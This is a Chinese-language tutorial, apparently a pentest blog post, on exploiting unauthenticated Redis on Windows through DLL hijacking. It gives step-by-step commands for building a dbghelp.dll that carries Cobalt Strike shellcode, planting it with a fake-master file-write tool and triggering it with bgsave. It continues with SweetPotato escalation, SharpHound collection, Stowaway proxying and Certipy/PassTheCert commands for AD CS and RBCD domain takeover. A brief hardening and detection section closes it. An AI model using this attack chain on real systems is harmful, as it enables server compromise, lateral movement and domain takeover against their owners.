Windows下Redis未授权访问的另类利用:手把手教你通过DLL劫持上线Cobalt Strike
Windows环境下Redis未授权访问漏洞的深度利用从DLL劫持到内网渗透实战Redis作为一款高性能的内存数据库在Windows服务器环境中同样广泛应用。当管理员配置不当导致未授权访问漏洞时攻击者往往能借此获取系统权限。本文将深入探讨一种不同于传统利用方式的攻击路径——通过DLL劫持实现权限提升并结合内网渗透中的多个实战技巧。1. Redis未授权访问漏洞的Windows特性与Linux环境不同Windows下的Redis未授权访问漏洞利用面临独特挑战。常见Linux环境下的攻击手法如写入计划任务、SSH公钥等在Windows服务器上完全失效。我们需要寻找专属于Windows系统的突破口。Windows环境下Redis漏洞利用的限制条件无法通过crontab写入计划任务缺少SSH服务导致公钥注入无效Web目录权限严格webshell写入困难现代Windows版本如Server 2019不再支持MOF文件提权生产环境通常不允许重启服务器使启动项写入失效在这种情况下DLL劫持成为Windows环境下最具可行性的攻击向量之一。它不需要服务器重启对系统版本要求较低且能绕过多数防护措施。2. 从信息收集到DLL劫持的完整链条2.1 关键信息收集技术利用Redis的info命令可以获取大量有价值的信息redis-cli -h [目标IP] info重点关注以下信息点redis_version确定Redis版本3.x版本无法使用主从同步config_file获取Redis安装路径如C:\Program Files\Redis\redis.windows-service.confprocess_id了解Redis服务运行账户信息收集的实战技巧使用fscan等工具快速识别内网存活主机和开放端口结合netstat -ano确认服务绑定IP和端口情况通过whoami /priv检查当前权限和可用特权2.2 DLL劫持的核心原理Windows系统在加载DLL时会按特定顺序搜索路径。当合法DLL位于系统目录而程序安装目录缺少该DLL时攻击者可以在程序目录放置恶意DLL实现劫持。Redis服务在Windows环境下依赖多个系统DLL其中dbghelp.dll是常见的劫持目标。该DLL用于调试帮助功能不是Redis运行的核心依赖劫持后不会导致服务崩溃。2.3 恶意DLL的生成与配置步骤一提取原始DLL从目标系统的C:\Windows\System32\目录获取dbghelp.dll注意版本匹配Windows Server 2019 build 17763版本最佳步骤二使用DLLHijacker生成项目python3 DllHijacker.py dbghelp.dll关键编译配置Visual Studio 2019项目属性 → C/C → 代码生成 → 运行库 → 多线程 (/MT)项目属性 → C/C → 代码生成 → 禁用安全检查GS项目属性 → 链接器 → 清单文件 → 生成清单 → 否Shellcode植入方法使用Cobalt Strike生成C格式的payload替换生成的dllmain.cpp中的shellcode部分选择Release x64配置编译生成最终DLL3. 利用Redis未授权写入恶意DLL3.1 RedisWriteFile工具的使用RedisWriteFile工具通过模拟Redis主从同步机制实现文件写入python3 RedisWriteFile.py --rhost 目标IP --rport 6379 \ --lhost 攻击机IP --lport 16379 \ --rpath C:\\Program Files\\Redis\\ \ --rfile dbghelp.dll --lfile dbghelp.dll参数说明--rpathRedis安装目录必须与info获取的路径一致--lport攻击机监听的伪造主服务器端口--rfile/--lfile要写入的目标文件名和本地文件路径3.2 DLL加载触发机制写入成功后通过Redis命令触发DLL加载redis-cli -h 目标IP bgsavebgsave命令会启动后台保存过程Redis服务尝试加载各种辅助DLL此时恶意dbghelp.dll将被加载执行。成功标志Cobalt Strike收到会话连接获得的权限通常是Redis服务运行账户常为本地管理员4. 内网横向移动的高级技巧4.1 权限提升与信息收集SweetPotato提权 当Redis服务以SeImpersonatePrivilege权限运行时可直接使用SweetPotato提权至SYSTEMSweetPotato.exe -a beacon.exe域信息收集关键命令# 收集域内基本信息 net group Domain Admins /domain nltest /domain_trusts # 使用SharpHound收集BloodHound数据 SharpHound.exe -c all --outputdirectory C:\Users\Public4.2 内网代理与扫描技术Stowaway多级代理搭建# 服务端 stowaway_admin -l 1122 # 客户端 stowaway_agent -c 服务端IP:1122高效内网扫描策略fscan -h 172.22.12.0/24 -o result.txt重点关注开放445端口的机器SMB协议域控制器通常开放88、389端口特殊服务如Redis、MySQL等中间件4.3 证书服务攻击实战当内网存在CA服务器时可尝试利用AD CS漏洞如CVE-2022-26923进行域提权。Certipy工具链使用# 创建机器账户 certipy account create -u 机器账户\$ -hashes LMHASH:NTHASH -dc-ip 域控IP -user 新账户名 -dns 域控主机名 # 申请证书 certipy req -u 新账户名\$域名 -p 密码 -ca CA名称 -target CA服务器IP -template Machine # 证书认证 certipy auth -pfx 证书.pfx -dc-ip 域控IPPass the Certificate技巧 当证书缺少智能卡登录EKU时可提取证书和密钥进行RBCD攻击# 提取证书和密钥 certipy cert -pfx file.pfx -nokey -out cert.crt certipy cert -pfx file.pfx -nocert -out key.key # 配置RBCD python passthecert.py -action write_rbcd -crt cert.crt -key key.key -domain 域名 -dc-ip 域控IP -delegate-to 目标机器\$ -delegate-from 攻击机器\$5. 防御建议与检测方案5.1 Redis服务加固措施基础防护配置启用Redis认证requirepass参数修改默认端口6379绑定特定IPbind参数禁用高危命令rename-command配置文件系统权限控制Redis安装目录限制写入权限系统目录禁止非管理员修改启用Windows文件完整性监控5.2 DLL劫持攻击检测关键检测指标Redis日志中的异常模块加载系统事件日志中的DLL加载错误非系统目录下的DLL文件出现异常的进程创建行为实用检测命令# 检查Redis目录下的DLL文件 Get-ChildItem C:\Program Files\Redis\ -Filter *.dll # 监控DLL加载事件 Get-WinEvent -FilterHashtable { LogNameSecurity ID4688 } | Where-Object {$_.Message -match dbghelp\.dll}5.3 内网安全防护策略实施网络分段隔离数据库服务器定期审计域内机器账户监控证书服务异常请求限制域管理员登录范围在实际渗透测试中Windows环境下的Redis未授权访问漏洞往往只是攻击链的起点。从DLL劫持到内网域渗透攻击者可以通过多种技术组合逐步扩大战果。防御方需要建立纵深防御体系既要修补基础服务漏洞也要防范高级横向移动技术。